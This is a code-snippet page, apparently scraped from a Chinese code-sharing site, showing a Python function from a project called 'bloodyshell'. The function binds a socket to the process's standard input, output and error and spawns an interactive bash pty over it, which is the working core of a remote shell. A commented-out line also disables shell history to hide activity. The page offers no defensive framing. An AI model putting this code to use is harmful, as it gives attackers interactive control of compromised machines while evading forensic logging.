common.py 文件源码

python
阅读 22 收藏 0 点赞 0 评论 0

项目:bloodyshell 作者: deadPix3l 项目源码 文件源码
def ptyShell(action, sock):
    # #platformshells = {
    #     'win': 'cmd.exe',
    #     'mac': '/bin/bash',
    #     'nix': '/bin/bash',
    #     'unk': ''
    # }
    # shellExe = platformshells[plat]
    shellExe = '/bin/bash'

    #preparing
    oldin = os.dup(0)
    oldout = os.dup(1)
    olderr = os.dup(2)
    os.dup2(sock.fileno(),0)
    os.dup2(sock.fileno(),1)
    os.dup2(sock.fileno(),2)
    #os.putenv("HISTFILE",'/dev/null')

    #Shellz!
    pty.spawn(shellExe)

    # cleanup
    os.dup2(oldin,0)
    os.dup2(oldout,1)
    os.dup2(olderr,2)
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号